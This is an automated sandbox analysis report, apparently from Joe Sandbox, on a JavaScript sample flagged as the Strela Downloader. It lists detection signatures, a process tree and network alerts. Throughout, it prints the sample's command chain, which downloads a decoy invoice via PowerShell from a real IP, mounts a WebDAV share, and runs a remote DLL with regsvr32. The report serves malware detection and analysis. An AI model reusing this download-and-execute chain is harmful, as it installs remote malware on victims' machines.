Edit tour

Windows Analysis Report
1052056652379030461.js

Overview

General Information

Sample name:	1052056652379030461.js
Analysis ID:	1588870
MD5:	655dd4f6ef40416d7aa410c91020d74f
SHA1:	5c5594e549c26ef95a5eac1dd4544a1e75d84283
SHA256:	9df90a139416b20ee8e0b2cd91b8d771b4ba81b924721dd5005f373bb884ce68
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6184 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2020 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 320 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3840 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6112 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,14637233770183932796,1311456170706695569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6508 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6052 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6444 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6184	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2020, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 320, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2020, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 320, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ProcessId: 6184, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6052, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 2020, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 2020, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 2020, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 2020, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 2020, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ProcessId: 6184, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2020, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 320, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6052, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6444, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6052, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 2020, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:33:31.820197+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:33:34.975091+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:33:31.820197+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1052056652379030461.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1052056652379030461.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:33:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
